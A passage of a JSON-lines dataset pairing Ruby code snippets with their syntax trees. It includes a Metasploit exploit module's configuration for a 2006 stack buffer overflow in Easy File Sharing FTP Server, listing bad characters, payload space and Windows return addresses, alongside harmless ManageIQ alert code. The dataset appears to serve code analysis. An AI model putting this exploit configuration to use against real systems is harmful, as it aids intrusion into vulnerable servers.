imports\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"imports\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}]}]}","id":"cd7d9def-3200-4539-8b98-49c9b9d6780a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/easyfilesharing_pass.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Easy File Sharing FTP Server 2.0 PASS Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in the Easy File Sharing 2.0\n          service. By sending an overly long password, an attacker can execute\n          arbitrary code.\n        },\n        'Author' => 'MC',\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2006-3952' ],\n          [ 'OSVDB', '27646' ],\n          [ 'BID', '19243' ],\n        ],\n        'Privileged' => true,\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n        },\n        'Payload' => {\n          'Space' => 600,\n          'BadChars' => \"\\x00\\x7e\\x2b\\x26\\x3d\\x25\\x3a\\x22\\x0a\\x0d\\x20\\x2f\\x5c\\x2e\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],\n          [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],\n        ],\n        'DisclosureDate' => '2006-07-31',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Easy File Sharing FTP Server 2.0 PASS Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in the Easy File Sharing 2.0\\n\"]},{\"type\":\"str\",\"children\":[\"          service. By sending an overly long password, an attacker can execute\\n\"]},{\"type\":\"str\",\"children\":[\"          arbitrary code.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"MC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2006-3952\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"27646\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"19243\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[600]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000~+&=%:\\\"\\n\\r /\\\\.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000 Pro English ALL\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1963076292]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP Pro SP0/SP1 English\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1906979501]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2006-07-31\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]}]}","id":"d277233d-720e-43da-9f93-d7570367fb5b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_alert.rb","start_line":417,"raw_source":"def self.automate_expressions\n    @automate_expressions ||= [\n      {:name => \"nothing\", :description => N_(\" Nothing\"), :db => BASE_TABLES, :options => []},\n      {:name => \"ems_alarm\", :description => N_(\"VMware Alarm\"), :db => [\"Vm\", \"Host\", \"EmsCluster\"], :responds_to_events => :ems_alarm,\n        :options => [\n          {:name => :ems_id, :description => N_(\"Management System\")},\n          {:name => :ems_alarm_mor, :description => N_(\"Alarm\")}\n        ]},\n      {:name => \"event_threshold\", :description => N_(\"Event Threshold\"), :db => [\"Vm\"], :responds_to_events => :event_threshold,\n        :options => [\n          {:name => :event_types, :description => N_(\"Event to Check\"), :values => [\"CloneVM_Task\", \"CloneVM_Task_Complete\", \"DrsVmPoweredOnEvent\", \"MarkAsTemplate_Complete\", \"MigrateVM_Task\", \"PowerOnVM_Task_Complete\", \"ReconfigVM_Task_Complete\", \"ResetVM_Task_Complete\", \"ShutdownGuest_Complete\", \"SuspendVM_Task_Complete\", \"UnregisterVM_Complete\", \"VmPoweredOffEvent\", \"RelocateVM_Task_Complete\"]},\n          {:name => :time_threshold, :description => N_(\"How Far Back to Check\"), :required => true},\n          {:name => :freq_threshold, :description => N_(\"Event Count Threshold\"), :required => true, :numeric => true}\n        ]},\n      {:name => \"event_log_threshold\", :description => N_(\"Event Log Threshold\"), :db => [\"Vm\"], :responds_to_events => \"vm_scan_complete\",\n        :options => [\n          {:name => :event_log_message_filter_type, :description => N_(\"Message Filter Type\"), :values => [\"STARTS WITH\", \"ENDS WITH\", \"INCLUDES\", \"REGULAR EXPRESSION\"], :required => true},\n          {:name => :event_log_message_filter_value, :description => N_(\"Message Filter\"), :required => true},\n          {:name => :event_log_name, :description => N_(\"Event Log Name\")},\n          {:name => :event_log_level, :description => N_(\"Event Level\")},\n          {:name => :event_log_event_id, :description => N_(\"Event Id\")},\n          {:name => :event_log_source, :description => N_(\"Event Source\")},\n          {:name => :time_threshold, :description => N_(\"How Far Back to Check\"), :required => true},\n          {:name => :freq_threshold, :description => N_(\"Event Count Threshold\"), :required => true, :numeric => true}\n        ]},\n      {:name => \"hostd_log_threshold\", :description => N_(\"Hostd Log Threshold\"), :db => [\"Host\"], :responds_to_events => \"host_scan_complete\",\n        :options => [\n          {:name => :event_log_message_filter_type, :description => N_(\"Message Filter Type\"), :values => [\"STARTS WITH\", \"ENDS WITH\", \"INCLUDES\", \"REGULAR EXPRESSION\"], :required => true},\n          {:name => :event_log_message_filter_value, :description => N_(\"Message Filter\"), :required => true},\n          {:name => :event_log_level, :description => N_(\"Message Level\")},\n          {:name => :event_log_source, :description => N_(\"Message Source\")},\n          {:name => :time_threshold, :description => N_(\"How Far Back to Check\"), :required => true},\n          {:name => :freq_threshold, :description => N_(\"Event Count Threshold\"), :required => true, :numeric => true}\n        ]},\n      {:name => \"realtime_performance\", :description => N_(\"Real Time Performance\"), :db => (dbs = [\"Vm\", \"Host\", \"EmsCluster\"]), :responds_to_events => :realtime_performance,\n        :options => [\n          {:name => :perf_column, :description => N_(\"Performance Field\"), :values => rt_perf_model_details(dbs)},\n          {:name => :operator, :description => N_(\"Operator\"), :values => [\">\", \">=\", \"<\", \"<=\", \"=\"]},\n          {:name => :value_threshold, :description => N_(\"Value Threshold\"), :required => true},\n          {:name => :trend_direction, :description => N_(\"And is Trending\"), :required => true, :values => {\"none\" => \" Don't Care\", \"up\" => \"Up\", \"up_more_than\" => \"Up More Than\", \"down\" => \"Down\", \"down_more_than\" => \"Down More Than\", \"not_up\" => \"Not Up\", \"not_down\" => \"Not Down\"}},\n          {:name => :trend_steepness, :description => N_(\"Per Minute\"), :required => false},\n          {:name => :rt_time_threshold, :description => N_(\"Field Meets Criteria for\"), :required => true},\n          {:name => :debug_trace, :description => N_(\"Debug Tracing\"), :required => true, :values => [\"false\", \"true\"]},\n        ]},\n      {:name => \"operating_range_exceptions\", :description => N_(\"Normal Operating Range\"), :db => (dbs = [\"Vm\"]), :responds_to_events => \"vm_perf_complete\",\n        :options => [\n          {:name => :perf_column, :description => N_(\"Performance Field\"), :values => operating_range_perf_model_details(dbs)},\n          {:name => :operator, :description => N_(\"Operator\"), :values => [\"Exceeded\", \"Fell Below\"]},\n          {:name => :rt_time_threshold, :description => N_(\"Field Meets Criteria for\"), :required => true}\n        ]},\n      {:name => \"hourly_performance\", :description => N_(\"Hourly Performance\"), :db => (dbs = [\"EmsCluster\"]), :responds_to_events => \"_hourly_timer_\",\n        :options => [\n          {:name => :perf_column, :description => N_(\"Performance Field\"), :values => hourly_perf_model_details(dbs)},\n          {:name => :operator, :description => N_(\"Operator\"), :values => [\">\", \">=\", \"<\", \"<=\", \"=\"]},\n          {:name => :value_threshold, :description => N_(\"Value Threshold\"), :required => true},\n          {:name => :trend_direction, :description => N_(\"And is Trending\"), :required => true, :values => {\"none\" => \" Don't Care\", \"up\" => \"Up\", \"down\" => \"Down\", \"not_up\" => \"Not Up\", \"not_down\" => \"Not Down\"}},\n          {:name => :hourly_time_threshold, :description => N_(\"Field Meets Criteria for\"), :required => true},\n          {:name => :debug_trace, :description => N_(\"Debug Tracing\"), :required => true, :values => [\"false\", \"true\"]},\n        ]},\n      {:name => \"reconfigured_hardware_value\", :description => N_(\"Hardware Reconfigured\"), :db => [\"Vm\"], :responds_to_events => \"vm_reconfigure\",\n        :options => [\n          {:name => :hdw_attr, :description => N_(\"Hardware Attribute\"), :values => {:memory_mb => Dictionary.gettext(\"memory_mb\", :type => \"column\"), :cpu_total_cores => Dictionary.gettext(\"cpu_total_cores\", :type => \"column\")}},\n          {:name => :operator, :description => N_(\"Operator\"), :values => [\"Increased\", \"Decreased\"]}\n        ]},\n      {:name => \"changed_vm_value\", :description => N_(\"VM Value changed\"), :db => [\"Vm\"], :responds_to_events => \"vm_reconfigure\",\n        :options => [\n          {:name => :hdw_attr, :description => N_(\"VM Attribute\"), :values => {\n            :cpu_affinity => Dictionary.gettext(\"cpu_affinity\", :type => \"column\")\n          }},\n          {:name => :operator, :description => N_(\"Operator\"), :values => [\"Changed\"]}\n        ]},\n      {:name => \"dwh_generic\", :description => N_(\"External Prometheus Alerts\"), :db => [\"ContainerNode\", \"ExtManagementSystem\"], :responds_to_events => \"datawarehouse_alert\",\n        :options => [], :always_evaluate => true}\n    ]\n  end","complexity_score":60.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"automate_expressions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@automate_expressions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"nothing\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\" Nothing\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"const\",\"children\":[null,\"BASE_TABLES\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"ems_alarm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"VMware Alarm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Vm\"]},{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"str\",\"children\":[\"EmsCluster\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"sym\",\"children\":[\"ems_alarm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"ems_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Management System\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"ems_alarm_mor\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Alarm\"]}]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"event_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event Threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Vm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"sym\",\"children\":[\"event_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_types\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event to Check\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CloneVM_Task\"]},{\"type\":\"str\",\"children\":[\"CloneVM_Task_Complete\"]},{\"type\":\"str\",\"children\":[\"DrsVmPoweredOnEvent\"]},{\"type\":\"str\",\"children\":[\"MarkAsTemplate_Complete\"]},{\"type\":\"str\",\"children\":[\"MigrateVM_Task\"]},{\"type\":\"str\",\"children\":[\"PowerOnVM_Task_Complete\"]},{\"type\":\"str\",\"children\":[\"ReconfigVM_Task_Complete\"]},{\"type\":\"str\",\"children\":[\"ResetVM_Task_Complete\"]},{\"type\":\"str\",\"children\":[\"ShutdownGuest_Complete\"]},{\"type\":\"str\",\"children\":[\"SuspendVM_Task_Complete\"]},{\"type\":\"str\",\"children\":[\"UnregisterVM_Complete\"]},{\"type\":\"str\",\"children\":[\"VmPoweredOffEvent\"]},{\"type\":\"str\",\"children\":[\"RelocateVM_Task_Complete\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"time_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"How Far Back to Check\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"freq_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event Count Threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"numeric\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"event_log_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event Log Threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Vm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"str\",\"children\":[\"vm_scan_complete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_message_filter_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Message Filter Type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"STARTS WITH\"]},{\"type\":\"str\",\"children\":[\"ENDS WITH\"]},{\"type\":\"str\",\"children\":[\"INCLUDES\"]},{\"type\":\"str\",\"children\":[\"REGULAR EXPRESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_message_filter_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Message Filter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event Log Name\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event Level\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_event_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event Id\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event Source\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"time_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"How Far Back to Check\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"freq_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event Count Threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"numeric\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"hostd_log_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Hostd Log Threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Host\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"str\",\"children\":[\"host_scan_complete\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_message_filter_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Message Filter Type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"STARTS WITH\"]},{\"type\":\"str\",\"children\":[\"ENDS WITH\"]},{\"type\":\"str\",\"children\":[\"INCLUDES\"]},{\"type\":\"str\",\"children\":[\"REGULAR EXPRESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_message_filter_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Message Filter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_level\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Message Level\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"event_log_source\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Message Source\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"time_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"How Far Back to Check\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"freq_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Event Count Threshold\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"numeric\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"realtime_performance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"children\":[\"Real Time Performance\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dbs\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Vm\"]},{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"str\",\"children\":[\"EmsCluster\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"responds_to_events\"]},{\"type\":\"sym\",\"children\":[\"realtime_performance\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"perf_column\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"N_\",{\"type\":\"str\",\"